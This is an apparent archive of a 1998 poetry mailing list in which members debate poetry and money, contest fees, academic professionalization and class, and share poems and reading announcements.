"The Physiocratic school, following Aristotelian and Confucian philosophy, argued for the preeminence of the natural order, whose rules provided for the continuity of human sciences. Quesnay endeavored to apply the mores of China to the grave problems confronting France, and to craft general principles of government. His model was one of enlightened despotism, under which the "positive" laws, i.e. statutes, would be drafted especially to give effect to the sublime set of principles that constituted the natural laws. It is appropriate to note at this juncture that the Physiocratic distinctions between positive and natural laws are prototypical of the contemporary concerns with identifying Biospheric thresholds of viability--thresholds within which the economic process may locate itself."---from Man and the Biosphere: Toward a Coevolutionary Political Economy by Kenneth M. Stokes
---
"Kung said: are classic of heaven,
They bind thru the earth
                and flow
With recurrence,
            action, humanitas, equity
ne ultra crepidam,
              for greater exactness
The Tenth is PEN YEH
"a developed skill from persistence"
                        Thus Mang Tzu
(Crysippus, Simbabwe: "the un-good merely dissolve")
                              se non fosse cive
"a share, not a fixed charge"
don't pester scholars,
nor lose life for bad temper.
Heaven, man, earth, our law as written
        not outside their natural colour,...."---from Canto 99 by
E.P.---cp

↑ Index

434. **toddbaron**
$
Sat 13 Jun 1998

"I'm willing to make my living as a poet in the society, and it's up to the society whther I'm an outsider or not an outsider, that isn't my concern--I just have my work to do. Now if I can't make it as a poet and I can't live off poetry, that's all right too..." Gary Snyder

"That's a more interesting split, talk about language than that between working and licving. .."

" First I have to solve my problem. Without in any way causing a strain on my community, without begging or conning anyone in any way..."

" I"ve got a job. I'm a poet"

Lew Welch

"God says we can Louise!"
Geroge Herms

↑ Index

435. **toddbaron**
celebration
Sat 13 Jun 1998

REMAP reading/celebration for issue #6 -- POLITICS
June 28th 2-4 pm
in Santa Monica California

Noah De Lissovoy
Diane Ward
Martin Nakell
Todd Baron

Please rsvp here
and I'll tell you where

No book has caused me to kill anyone
and that no book has caused me not to kill
I would like to say that each has looked at me

(Martin Nakell...The Library of Thomas Rivka)

↑ Index

436. **morpheal**

Re: poetry is a tracheotomy for the soul's breath [sometimes near exhaustion]

Sat 13 Jun 1998

> *about the whole matter of "poetry vis a vis money," inasmuch as Spicer's poetry is, arguably, what it is because of his ultra-principled and conscientious (some would say paranoiac and self-righteous) opposition to the "market" and "career" aspects of the literary scene. The book is also very much about the personal risks involved in such absolute devotion to poetry and to the idea of a comunitas that would remain "pure."*

To me it is increasingly unimaginable as to anyone being able to earn a modest, but adequte, livelihood, from any kind of art. Least of all from the writing of poetry. I cannot, in fact, imagine how anyone can do it, even though I know there are some people who actually do so. (However, I have never met any who earn an adequate livelihood solely by such means.)

What used to be even more unimaginable to me, was the idea that doing art, and particularly writing poetry, can in fact reduce one's chances of success in other attempts at earning a livelihood. That is, even if all else is essentially equal. There seems to be a built in bias, or prejudice, against the artist, and the poet, in many non artistic, and non literary, situations.

What is even more unimaginable than that is that works of art and poetry have had their effectiveness as means of communicative expression reduced severely. It is very difficult to effectively express anything more personal, outside of the constraints of nearly anonymous (at least depersonalized) work of art as product meant for an anonymous mass market.

I cannot, for instance, be certain that a poet or artist is permitted, in our post-modern world, any right to express passionate love for some other person, via any artistic medium of expression. I simply do not know that it is possible to use art in that way, though we know that traditionally it has been used that way in many an instance.

So there is the push to question 1). art for money, and 2). art for the sake of communicative expression from person to person.

What is left when those two "uses" of art are disempowered ?

Is art, as such, being redefined, en masse, as products of artists, such that those products cannot and do not have any elements of personal communicative interaction included in their substantive discernable meanings ?

Is art to become limited to what can be produced by a production mechanism, and mass marketed to a market of everyperson ? Is that enough to satisfy any artist ? Does it really satisfy the art consumer ?

I tend to be somewhat existentialist about the arts, and I am both a visual artist and a poet, but I have no experiential basis for answering those questions in any positive way. Also, though there have been essentially impersonal expressions of appreciation, in consumer to producer terms, there has been no monetary achievement from any kind of effort at artistic production. Of course, artistic expression has fared even worse than production.

It seems sometimes a distant dream to _have_ some balance between being able to produce improvements in one's own artistic work, make a steady livelihood at something else that is considered useful enough, and have the joys and contentments of a love life with someone where there is some mutual enjoyment of life and each other. I am not even certain that the struggles to keep one's artist alive, and to be able to better one's own art, are sustainable, in the often unpredictable turbulence of economic systems and their constantly changing demands. As for achieving passionate mutuality, that requires communicative interaction of specific kinds, quite distinct from any mass appeal, artistic criticism, or economic interactions.

Standing at one end of the field and looking across its vast expanse, I shudder, and feel exhausted at its "infinite" complexities. Enough complexity that anything personal, sensitive, intimate, and passionate, so easily suffers, more than our art is able to say.

M.

aka Bob Ezergailis

↑ Index

437. joel lewis
f.y.i.
Sat 13 Jun 1998

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* In March, the Oregon Lottery Commission awarded a $124,000 contract to a company to advise it on how best to restore its gambling games to operating status in case of a catastrophic earthquake or asteroid collision, with a goal of having video poker back up within two hours of a disaster. Several critics suggested there might be more pressing problems after an earthquake, but the Commission pointed out that gambling generates $1 million a day for the state.

* In 1993, News of the Weird reported that the Pasadena, Calif., Humane Society had built a $4.3 million dog-and-cat shelter, with towel-lined cages, skylights, an aviary, sculptured shrubbery, "adoption counseling pavilions" for pet-

client meetings, and, according to the architect, "a very subdued classical painting scheme" (all this amid criticism that it was better to be a homeless pet in Pasadena than a homeless person.) In March 1998, a similar, $7 million SPCA shelter opened in San Francisco but deflected criticism by almost immediately proposing to allow some sleepovers by homeless people as companions for dogs.

↑ Index

438. **J. Kuszai**
Cowboys 32 - Mighty Ducks 2
Sat 13 Jun 1998

WARNING-LONG POST-DELETE NOW

perhaps Yale University Press should prepare its Younger Poets series for such a catastrophe as the Oregon Lottery Commission. The case of the lottery provides a useful frame for viewing the problem with the contest racket which Katy pointed out in a recent post. They say your chances of winning the lottery are less than being picked as a Yale Younger Poet, but both require that you must pay in order to play. You may have a million in one chance of winning, but that assumes you buy a ticket. If you don't approve of the system, it seems to me that you can REFUSE to buy a ticket as a first step towards dismantling the system. You can buy a ticket and hope to win, knowing that when you win it won't matter whether the system is corrupt. In both circumstances the rewards tend to erase the years of griping and losing. At least one language"" poet was involved in the lottery system, exporting such revenue generating technologies to places like Africa and Oregon.

Personally, I wouldn't send my 25 bucks to any organization I didn't believe in & frankly I'm not going to win the Yale Series never mind the Sun & Moon anything, tho I will continue to send them my money and buy their books to show my support for the kinds of literature they produce--never mind the poets whose words are contained within their modest covers.

Katy remarks that the 700 poets sending x.dollars to Yale raised about 10,000 for the press. Does that go straight to the trustees, or does Merwin himself have to take the bushel of checks down to the Bank? (many of which I'm sure will bounce, seeing that they are written by Cowboy poets from "upstate" and the rest of the provinces) No, I'm sure there are some grad students whose summer jobs include sorting and sifting through the papers, poems, cover letters etc. Does Merwin read them all? no, I'm sure there is some kind of staff there to help with all this, at least one person. Assuming that there are two people, one who lugs the loot down to the bank, and one to sort and well, you know, decide which poems Merwin will actually see, aside from the ones which

are pre-decided winners set up by his cronies at Universities, urban centers, cow-pastures, and the like. That means that the two staffers are splitting about 8,000, or 4 thousand a piece. The other two thousand pays off the university b-crats who let these poets take up University real estate. Assume that this is a summer job, ok, a four month job. That means they are earning about 1,000 a month before taxes. Subtract commuter costs (these grads live in new York, and pay 1,000 a month each to rent), etc. etc. and it becomes hardly worth it for them. But as students of Merwin, they truly belive in this. Charles Bernstein writes somwhere that it costs about 5,000 (I forget the exact number) to produce, distribute, advertise, etc, the average small press book of poetry. I've always found this to be a bit high, but then I've only recently begun fantasizing about producing perfect bound books printed and assembled in Ann Arbor. But ok, we'll take that number. Imagine the trustees at Yale, when they hear about the deep hole of financial losses sustained annually by the Yale Younger Series. Imagine the rhetoric of diversity & democritization used to secure the funds required to produce a first book by a poet who may or may not write another book. In the crony system, such "continuity of literary tradition"(Silliman's phrase from The Political Economy of Poetry) is maintained by the network of mutually supporting poet entrepreneurs

Granting institutions generally require that the recipient of the grant demonstrate an effort at collecting revenue, however modest, as a show of good faith. We already know that these books will not sell. Imagine the contest system as a sort of corrupted lottery, with 99.9% of the contests living in a total dream world as to their actual chances, while the .01% crosses their fingers, hoping that their "contacts" will come thru for them. The bouncing ping-pong balls are just an illusion of a democratic process...everybody knows that!

But let's go back to Silliman's essay, where he describes what Laura Riding called "the forced professionalization of poetry." The rhetoric that Katy used in her post, referring to the marginalized cowboys whose romantic visions of a poetry divorced from specialized and institutionally legitimized networks (such as MFA programs), this kind of talk just demonstrates how far apart we are in this "community." Wow. How far we have come. Where once we had the "forced professionalization" of the poet at the end of the 60s, with the balooning of the university system, a professionalization that declawed the oppositional poets, neutralizing them for the suburban "accomodationist" poets such as Lowell, tho I've always enjoyed his work. This distinction I'm borrowing from I think Culture and Value by Von Hallberg, tho I dont ahve this book. Though many people have written on this topic. Then there was an opening in an often unaffiliated "underground" of poets--whatever you may say about them--in the 1970s, who developed their own industry of poetry distribution and yayaya. Now it seems that we're going to borrow all those technological advances of formal devices, and

lower them into the grave of specialization, professionalism, and finally, ignominy, while adopting the superstructures they sought to undo. And frankly, it was the same superstructures that Creeley and the "New americans" fought against: the academic drivel of the previous bygone era. So...while you may try to setup your gendered cowboy constructs, I will resist you all the way. My reference to the story of Creeley visiting Celia and Louis Zukofsky was told because that story truly makes me happy. It gives me hope. By situating yourself with baby, you take the high ground, to the grubby cowboy poet in need from a little help from friends. I think when he went to visit them he was in fact a parent (i'm not sure, however when that happened). If I had a child--and anyone who knows me knows that I envy all parents and I cry often about the loss I have experiened in my life in this regard--I would certainly take a coat as a gift if I was in need, rather than stubbornly insist on the whole apartment...

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439. **nuyopoman**
Money and Poetry
Sat 13 Jun 1998

Ted Berrigan said, "Take the money." That was the title of his column in East Village Other -- or was that Ishmael Reed?

BobH

↑ Index

440. **nuyopoman**
Radio Poetry
Sat 13 Jun 1998

Mouth Almighty Records launches a weekly POETRY RADIO NEWSLETTER on Tuesday. Intended for jocks who prominently program poetry/spoken word, PRN is available for free via fax/email. All radio shows we've found are listed at our website: http://www.mouthalmighty.com/radio.htm. Would appreciate all info regarding po on radio. Yes, there will be NEWS and a CHART for current poems being played.

Do you have a TOP 10 Recorded poems? Either singles or albums? Send em in! To: [redacted]

Bob Holman

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441. **Henry**
Re: Cowboys 32 - Mighty Ducks 2
Sat 13 Jun 1998

The Zapruder family wants $40 mill from the gov't for the original film of the JFK assassination. The 6 oclock news tried to belittle them - "the question is, does history belong to the people, or is it in private hands?" (the gov't is offering $20 mill). A Kennedy desk went at auction for 1.5 mill. Toyota Civics now offer wider space in back and they are for people who have a sense of tradition and opening their own garage doors, they are only $16,000 (cheap, huh?)

Who slaughtered JFK? Why are we in Vietnam?

We know who killed Caesar, but nobody elected him...

Byrd, byrd, byrd's the word... O Texas (- a Minnesotan - not Hubert Humphrey)

↑ Index

442. **Henry**
Re: Cowboys 32 - Mighty Ducks 2
Sat 13 Jun 1998

Joel's post - pretty astonishing. Funny though that from Jack Spandrift's ultra-cowboy perspective, Creeley,Bernstein, Silliman, and your heroes merge with the other academic operators... so many axes to grind. Creeley came and read at Brown University, as part of some tour no doubt... distinguished guest, tweed plus eyepatch... must have landed a few thousand through the buddy system there... how do you tell the difference? Standard's take on New Directions (ol boy money all the way) is relevant... Does this have something to do with Bourdieu? Distinguishing presses within a cultural pecking order? Yes, the deconstruction of Yale Younger Adolescents was great - but why is your buddy system any better? Because you're broke?

I ask again... where's the poetry?
- henry G

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443. **Laura Moriarty**
Re: non 3 intro
Sat 13 Jun 1998

Thanks Dodie! Valued praise from such a mistress of physical discursivity as yourself!

It's about time I announced the headache non - now that most of the kinks are worked out - It includes Killian, Chadwick, Kelley, Watten, Stroffolino, Hanson,

de Lissovoy, Glück, Schaefer, Cole, Rafcliffe, Gould, Bellamy, Etter, Shurin, Schneider, Herndon, Selby and a not-to-be-missed essay by our own Joe Safdie.

More is expected daily - check it out:

http://socrates.berkeley.edu/~moriarty/index.html

Laura

At 11:26 AM 6/13/98 -0700, you wrote:
>This is Dodie. I urge you all to check out Laura Moriarty's intro to non 3
>(Headache). Laura does an excellent job of talking about that space where
>pain takes over and language/"selfhood" collapses. Using language to talk
>about such a thing, is obviously a losing proposition, but in this case I
>think Laura wins. So often writing about The Body leads into an almost
>comic abstraction/dis-embodiment. It's satisfying to see someone giving
>the body its due, respecting rational limits, the grungy
>nose-pressed-against-the-wallness of it all. Been doing lots of
>body-centered readings this past year. Recently I've moved from
>theory-type books to memoirs. Just finished Autobiography of a Face, and
>while the book falls apart in the second half, the first half, the
>precision of Grealy's descriptions of chemo-therapy and anaesthesia are
>stunning.
>
>So, good work, Laura! Headache is a perfect antidote to so much, so much.
>
>

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

444. Henry Gould
on the New Amer. Poetry
Sat 13 Jun 1998

BIRD

Overhead the internal workings
of the sound of your voice,
the bright world we waited for
in the sense of a lost cause,
or a joke and its day after
among the gathering crowd.

And the constant lessons,
running up to the buildings.
John's day and your hopes
rubbing shoulders, the sheep
folding into the hills beyond.

How are we to take this?
Detectives probe the galleries,
the ice-cold promises bending
the daylight into shapes,
houses, families, dreams,

and by April you could laugh
when the leaves folded up your hopes,
and the important idea was no sense
consummated in the old headlands,
dogs barking, and babies crying.

Somehow in the cold chair light,
under a rainy month,
sentenced for life, the brown day
stops by the bed with a hush,
the aftermath, all sold out.

- Henry Gould, ca. 1971
published in STONE, Copper Beech Press, 1979

(hopefully the final email egotrip for a few days)

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445. Rachel Loden
money and poetry, poetry and sorrow
Sat 13 Jun 1998

Thought I'd throw this into the mix. Italics _like so_ . . .

POETRY AND SORROW IN A “RIGHT-TO-SING” STATE

The enemy will continue to infiltrate Literature.
—Comrade Stavsky (head of the
Soviet writers’ union), 1937

The muse strikes

back, but doesn’t walk off the job
for a cost-of-living increase
and insurance.
Empire’s the thing

that totters forward with its mouse
ears on, paterfamilias
of so many little feet become a constant
perfume.
        And yet: no praise,
no blame. The grass is still
green to the cheek. And we are heirs

to grace which made the tummler
stay at his Borscht Belt post

and dance. _Alack, alas._ What say you
soldiers of the lyre, we wait
for some o’clock and then _stop
singing?_ Oh I would stop, oh yes

and let the feckless meadow fill
with xylophones and snow, the striped

tail of the muse slap in her burrow.

--Rachel Loden
  from _New American Writing_ 15

↑ Index

446. **r. drake**

Re: poetry is a tracheotomy for the soul's breath

Sat 13 Jun 1998

                ...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

        d.a. levy
        frm _prose: on poetry in the wholesale
            education & culture system_

↑ Index

447. **Don Byrd**

Re: Cowboys 32 - Mighty Ducks 2

Sat 13 Jun 1998

I have found the discussion of poetry and money painful. There have been attitudes, of course, about MFA programs and about academics and about the honor of not making money, etc. But what is the issue? Joel Kuszai (who has been consistently acute in his posts) was right to mention Laura Riding's denunciation of the professionalization of poetry. The book to which he refers, _Contemporaries and Snobs_ is the only useful discussion on the development of the "profession" of poetry that I know. I thought I had a xerox of it somewhere in my files, I wanted to just quote some passages, but I can't seem to locate it now. (Though I did find a xerox of _Anarchism Is Not Enough_, another great, forgotten Riding book that bears on a current discussion.)

At any rate, what Riding refers to has nothing directly to do with money, she is concerned with the creation of professional standards for poetry--the _precondition_ that made it possible to tenure poets in the university, to give prizes, fellowships, subsidized publication (of course, the commercial presses used to subsidize poetry; now only a diminishing few university presses do), etc. It was in fact part of the professionalization of the humanities and arts in general, as a way to protect a certain high-sense of human possibilities from the mass media. That is, the "culture" became something one learned in school, rather than something one absorbed with mother's milk as Dante said. I learned "culture" in high school from Rose Roebaum, who told me "a poem is a beautiful thought or a beautiful scene expressed in beautiful words," and then from the state university where I was taught my culture was Wyatt and Surrey and Donne and Bach. I am happy to know about that great stuff, but in fact, it was not true: my culture was Little Richard, Jackie Gleason, Elvis, Otis Redding, and by a certain stretch, Miles Davis.

After WW II, a group of poets managed to create a kind of anti-profession, out of Black Mountain, the San Francisco Renaissance, and so forth, but it turned out that the 60s university could absorb it to: Olson, Creeley, Dorn, and many others ending up teaching, but only because the university--at least in the humanities and arts-- failed to maintain its professional standards and never created new ones that could accommodate these poets (or Duchamp or Cage or Smithson).

The professionalism of culture was an aberration that lasted 60 or so years, an attempt of the traditional high-culture to maintain itself against the impossible odds of Radio and TV. (Of course, now, with Cultural Studies, even that culture is being professionalized, which must mean that it too is already dead. It will be a while before we see what is replacing it, though it may be an

anarchist (i.e. an-archai, without origin or first principle) fragmentation. Not mass culture, but culture without generalization. Anarchism may still not be enough.

At any rate, I am glad I do not have to try to establish a life in these treacherous waters, and I sympathize with the problem of those of you who do. There is a web site that might be of interest to any of you who are trying to find a way in and around universities: Palinurus: The Academy and the Corporation -- Teaching the Humanities in a Restructured World (http://humanitas.ucsb.edu/liu/palinurus/index2.html). Although it is just getting started, Alan Liu has put a great deal there to think about.

Don

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448. **ken|n|ing**

Re: Magazines that pay

Sat 13 Jun 1998

Katy / clarification well taken. in my case, at least, i found that writing from leisure (afforded any way at all) produces writing for leisure. which is fine. i certainly go in for an entertaining poem or two in my "free" time. but, i feel very strongly that the discourse which literature ought to entertain is one which is ecumenical, as far as the distribution of leisure, power, legitimacy. therefore, figuring out how to accrue "extra" time for writing ought to be balanced by an extra effort elsewhere. the academy seems like a very high-priced way to do this. i'm not fantasizing my way out of my own situation via radical (Marxist, etc.) theory theoretical stances; i'm attempting to connect literature to my situation, which has never required a prize or a glossy, perfectbound format to engage those with the similar desire (obligation? [or sense thereof]) of listening to whomever is useful at the time / Patrick F. Durgin

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k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
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On Fri, 12 Jun 1998, k. lederer wrote:

> *I just wanted to clarify something....*
>
> *I think that teaching is a terrific thing to do.... teachers are terrific....*
>
> *And I don't think that it necessarily sullies a writer's work if he or she teaches (either politically or aesthetically)....*

> *I just wish that people were thinking a little harder about what's happening vis-a-vis the plethora of first-book prizes... (the fact that younger poets are paying out the ears so that the occassional big press will publish a first book)... and about the debts that are being accrued by younger writers who, perhaps, can't figure out any other way to find a writing community or the time to write...*
>
> *Best,*
> *Katy*

↑ Index

449. **michael corbin**
Re: Cowboys 32 - Mighty Ducks 2
Sat 13 Jun 1998

Henry wrote:
>
> The Zapruder family . . .

Someone mentioned _Libra_ and _Underworld_ a while ago. I was thinking about the double-blinded CIA historian (plausible deniability) in the former and the inverted redemption in the latter: The bill-boarded inner-city stigmata. An evolution for Delillo; not an inadequate marker of writerly possiblities. now. not a paranoid style anymore. paranoia is a luxury. pop culture.

In the 80s there was a sociological category called 'homeless'. Kinda like the Watten's _Bad History_ introductory refrain of architectural tableau. The 80s. Mitch synder doing hunger-strikes against reagan.

nOw, you have various legislations against pan-handling. poetry redistributions of non-anarchic wealth accumulation. the best one i saw was this guy who sat on a bridge with a fishing pole. he had a sign on the hook. something to the affect: BROTHER FROM ANOTHER PLANET CAN YOU SPARE A MOTHERFUCKING THIN DIME (much less a coat). if the cops came he put the pole over like he was fishing. when they left he held it out to all the consequential georgetown-area foot traffic. iN dc it used to be called the peoples park, across from the white house. now its not and you can't sleep there anymore, the park police ride up horses in that joint with spotlights on their heads. don't even try to sleep in those san francisco parks anymore. i sat in the buffalo greyhound station once (otherside of town from the experiments in poetry). buffalo cops know whats up. in that station. they might even be poets.) I'm quite sure that the Younger Poet entry fee goes straight to that other NEW HAVEN. outside the wall. Goes probably for basic health care and dictionaries in the public libraries,

or, in a pinch, to a day-care center for wealfare-moms on clintonian welfare reform. that is: a state-form methadone program. but no needle-exchange. no real chance out.

Its true Deleuzes 'control' seems an equivalence to Foucault's 'discipline'. But this is somewhat illusory. linda russo is right, I think, the way out is 'through the door'. Not just a derridean paradox of agon. Rather. a deleuzian, anti-dialectical, non-hegelian sentiment. poets like other former revolutionsists manque continue to hope for that teleological OTHER backdoor. Even as modernist earnestness. Or humanist redaction. Like we were living in a shot-gun shack. a front and a back. only. but there are other MINOR literatures, lines of flight, other doors through (does anyone like the new translation of Kafka's _Castle_?) beyond a poetry of symptomology.

ok, i've gone on at too much lenght, and I'm broke tonight. But I think I'll have a beer. And spandrift? you wanna come over and make reterritorialized humanist love with me? maybe we can find that poetree you been lookin for. That new film _WILDE_ a cinematic treatment of Ellman's biography of Oscar is a case study in old-money, new aesthetics and being pilloried. And I was just reading William Finnegan's _Cold New World_ and all that obvious declension in Keynesian economic terms since 1973. Its not just the younger poets. its the younger at all. embodied future, etc. at all.

mc

↑ Index

450. J. Kuszai
19 minutes til the digest crew
Sat 13 Jun 1998

---

this is my last message for a while. I promise. I can feel the yakyak of emotional puke catching up to me and it is time to turn off this channel for a while. I'll be available (on and off) backchannel if anyone wants to talk. In the meantime, Henry asked about poetry. Here is another excerpt of my ongoing rewrite of the wizard of oz. I hope evenually to make it back "home" and be done with the discursive utopias that this space promises but does not deliver. When it is done, I hope to read it in public, as it is very important to me. This is in progress, so keep that in mind. One final quote from my boyhood hero, Robert Creeley "If it isn't fun don't do it / you'll have enough to do that isn't. // And if you can't keep it, who needs it anyway." well, that's a paraphrase anyhow... Have Fun!

Introduction

In what follows joy is retained and the heartaches and nightmares are left out. This song aspires to be a modernized fairy tale, in which the wonderment of

childish hearts takes precedence over all other human creations. Comprised of disagreeable incidents, education includes morality & therefore the modern child seeks only entertainment in its wonder-tales, and with an instinctive love for stories fantastic, marvelous and manifestly unreal, gladly dispenses with all that may be classed as "historical," where the authors give a fearsome moral to each tale.

Canto 10 Into the Forest / Bower Blisse

"Hearts will never be practical until they can be made unbreakable"

A woman opened it just far enough to look out
and see the visitors waiting
the door was a lovely emerald-green color
and the people wore peaked hats like those in movies
but he refused to see us and we had to return
to our site along the forest's edge
where the poppies grew
After a few hours the road began to get rough
  the walking was a great deal of hard work
 for the Lion was heavy and slow
In an hour or so the light faded
  the crows had gone I thought this over
suddenly we came upon a broad river
 flowing swiftly in the afternoon
  sometimes people came to the doors looked
  rushed forward
  the Lion crossed over the tree
  said the Tinman sadly
  I wish I had a heart to beat

Those creatures frightened me so badly that my heart
clicked and stopped its impervious author
look how gray everything was there!
how the cyclone the people
had never seen a dog before
they had suffered many discouragements
but before them an ordinary girl
who had come by the chance of a cyclone
uncomfortable feeling to know one is a fool
said the Tin Woodman
my brain is a dish of scrambled eggs
a plate of nice white bread
as long as I know myself to be a coward I shall be unhappy

the Emerald City is the other end of the road
in a squeaky little voice:
crying rusts my jaws so that I cannot speak
She offered other flowers
I will give you some supper a place to sleep
it will take you many days
The country here is rich
Aren't they beautiful? the girl
she breathed in
climbed on the Lion's back
holding tightly to his mane
a better man than some of them
he feared a spark might burn him up
beautiful green fields before them
the raft was nearly done
that isn't the way we Lions do things
you wear silver shoes
and have killed the Wicked Witch

tree trunk
mice spoke
up to the door and knocked
met over the road of yellow
It was almost dark
and they all sang sweetly
I am not afraid so long as I have my oil-can
I do not want people to call me a fool
and if my head stays
it takes time to make a raft
even when one is industrious
We cannot fly
that is certain

caught the dog and held him tight
Toto! said the girl anxiously
What will protect him?
the flowers were too strong for me
How did you get me out?
comrades
what shall we do now?

If I only had a heart I should love them
but it requires brains to figure it out
I should never have said

this road goes in, it must come out
if we cannot jump over it
we must stop where we are

No
 but you tried to
  she retorted
   You are nothing but a
No
 for this pole is stuck up my back
  If you will please
 indeed
  I don't know anything
  You see
 I am stuffed

Oh yes said the girl
 where you found me
give me a heart
or send me back to Kansas
or stick a pin in me
it doesn't matter
for I can't feel it

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451. Chris [Steve] Piuma

Re: poetry is a tracheotomy for the soul's breath

Sun 14 Jun 1998

J. Kuszai showed great grace and sensitivity to write on 98.06.13:

> *Why would I want to let Norton, or whomever, pulp my book because of unfortunate tax laws which make it cheaper to destroy the extant copies of a book, rendering it outofprint, rather than keep it around another year?*

I've heard about this before, and I'm curious: is it cheaper (tax laws taken into consideration) to destroy the books or to give them away? And why?

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard flim: http://www.brainlink.com/~cafard/flim/index.html from the current issue: ...(your idea of a real magazine: tips on sex, hair, and career)...

↑ Index

452. joel lewis
Re: Money in Poetry, Poetry in Money
Sun 14 Jun 1998

---

if I recall, Tony Towle (?) put out a marvelous little document in the late 70's that tabulated what he SPENT on poetry vs what he earned. he calculated drinks at bar readings, entrance fees at the poetry project, cost of postage to mail submissions, typewriter ribbons (rememeber them?) & paper itself. He then totaled what he got from the occassional paying mag, fees for giving readings and other writing related gigs --well, as you guesed, he ended up in the debit column.

i may be insane, but have always liked poetry's realative non-commodification. Hell, even Grand Poobahs like Pinsky and Levine make far less than a law firm partner in New York. There are also levels of participation suited to one's life situation. Most of my companeros in jersey read at local venues, publsih in local magazines and don't get knocked up in the head when Charles Wright wins a Pulitzer.

poemspennyeach

joel lewis

↑ Index

453. A. Nikuko Sondheim
what despair tastes like and poets and money and teaching stuff
Sun 14 Jun 1998

-

what despair sounds like

i can't sleep any more at all, not with melatonin not without. i hate here where i am. i can't get work, everything in my life is in shambles. i think a lot about death, it seems i should make a story out of this where Nikuko says "hi death," and death answers something clever back and you can't tell who is really speaking and i'd sign the post alan - whomever or better in light of my life, alan - whatever, because it's more like a thing this thing is thinking of or thinks it's thinking of. because i can't persist under all this stress just like this laptop's running on battery power because the storms are coming again and there's electric energy running wild through the wires and i need to save these machines for inheritance. so they will keep working when i can't. so they will be carrying the viruses of languages i write because everything i write is in another language, this is in another language that Nikuko calls "last language."

now this is the point where i run out of steam, where the writing begins to collapse because i can't be clever any longer. i look in this room and i say, i say, i don't belong here. and i look at my face on my body and i say, this doesn't belong there, doesn't belong there.

and i wait for the perfect phonecall returning the debris of a perfect job in new york while i make a nuisance of myself desperately following up on an identity that has slid past the imaginary into the coffee-grounds of the real, as if ha ha ha, some sort of joke might have passed by the cen- sors at that point. now yelling in the street as i prepare to wait for the dawn senselessly another seven hours away.

there will be more yelling, more storms. there will be faces falling from faces. there will be entertainments, yes there will, there will be enter- tainments.

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454. **George Bowering**

Re: the economics of tambourine lives

Sun 14 Jun 1998

> *While growing up in America (mostly in Oklahoma) I certainly never encountered the possibility that one might actually be a poet. I would think that if one grew up with a strong sense that it was an option in American society, that would be quite unusual. I think in my family the options were more like: teacher, soldier, businessman, laborer, clerical worker, administrator, and perhaps a few others, possibly even writer, but definitely not poet.*

On the other hand, Charles, I remember that when I was growing up in a dicky little orchard town I bought a kind of mass market paperback from the pool hall, kinda book that was available then, anthologies of recent US poetry, and that joined with other less choate things to persuading me that there was such a thing as mortal poets. These were usually the kind of poets one didnt want to be or read, but at age 16 one didnt know that yet.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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455. **George Bowering**
Re: money & poetry
Sun 14 Jun 1998

> *I think Bowering is sincere when he says he'd sooner write poetry than get money, because decades ago I offered him a stipend to stop writing, and he kept the first instalment & went on writing anyway.*

Yeah, but Bromide is not telling the whole story. I gave that $12 to an unwed mother to buy macaroni and a little book by Philip Levine.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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456. **Kathy Lou Schultz**
Thoughts on Money and Poetry
Sun 14 Jun 1998

1. The social conditions of poetry. S. Schaefer and P. Durgin are correct here in discerning this as the salient point. Cheers to Schaefer for pointing out the conditions of class privilege that allow for the production of many poetry books: leisure, that is freedom from paid work equaling time and space in which to write, on the part of some writers; and wealth to access the means of production on the part of many editors/publishers. There is no reason to judge wealth as "evil," or poverty as "virtuous." If a writer is not afforded the material conditions in which to write, there will be no need to judge their work against those of leisure, because there won't be any. There is no virute in being poor. Class oppression is suffering. For those of us from poor or working class backgrounds, or who currently struggle economically, just carving out the time in which to write at all is a damn miracle.

2. There is no "clean" part of capitalism. Whether you work in a union job pulling lines on a tugboat guiding oil-carrying ships into the SF Bay, or sit in a tenure-track job professing poetry all day, or trade stocks for a living, it's all the same system, and none of us are cleaner than the rest. In other words, I don't care what stocks you buy or don't buy, it's all the same fucking thing. Though, of course, the ruling class has much to answer for. And why is that whenever someone has the guts to point out the very real class differences that exist within the poetry community, someone has to come along and say, "Oh, no,

money is GOOD. I'm not bad because I have money." As if that were the point! There are very real class differences here folks; get used to it. Class differences which translate into daily experiences central to one's life in the world, one's life as a poet.

Thanks to all for the many good posts on this topic.

Best,
Kathy Lou Schultz

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457. **Anthony Lawrence**
Re: Cowboys 32 - Mighty Ducks 2
Sun 14 Jun 1998

- Yale Younger Poets Series
- 1,200 manuscripts
- W.S. Merwin
- Volunteers / students / as readers & screeners

- How many of the Mss does Merwin himself read?
- What the screeners deem cream from the top?

- That's a lottery.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

458. **Susan Wheeler**
$
Sun 14 Jun 1998

Thanks to Henry (and to Rachel!) for injecting a little circumspection into this $ morass. While we're on the subject, does anyone have a copy of an Amis piece out of that running-dog rag The New Yorker a couple years back in which the fictional lives of a poet and a screenwriter were flipped, the poet on the coast doing a million-dollar rewrite and the broke screenwriter trying to schmooze & booze a sadsack editor of a tiny journal into publishing his latest? Top cent paid.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

459. **Maria Damon**
Re: the economics of tambourine lives
Sun 14 Jun 1998

---

when i was growing up the career options were
from home: academic academic academic
from school: nurse, elementary school teacher
from popular culture: outlaw

i guess i picked up a little of each
the poet is entwined with the latter
but nobody it's true said poet
but they all gave me poetry to read or hear

↑ Index

460. **rsillima**
Poultry & $$ (Don't count your chickens...)
Sun 14 Jun 1998

Listarians,

Poetry's relationship to money is so nebulous and money's relationship to everything else in our lives is so often so charged with endless manner of social/family/self-imposed pressures that a discussion of this sort seems infinitely difficult to embark upon. I've been generally amazed at how much wisdom (thank you joel kuszai, thank you karen kelly) I've seen on this list in the past couple of days.

I have only a couple of thoughts that I want to add.

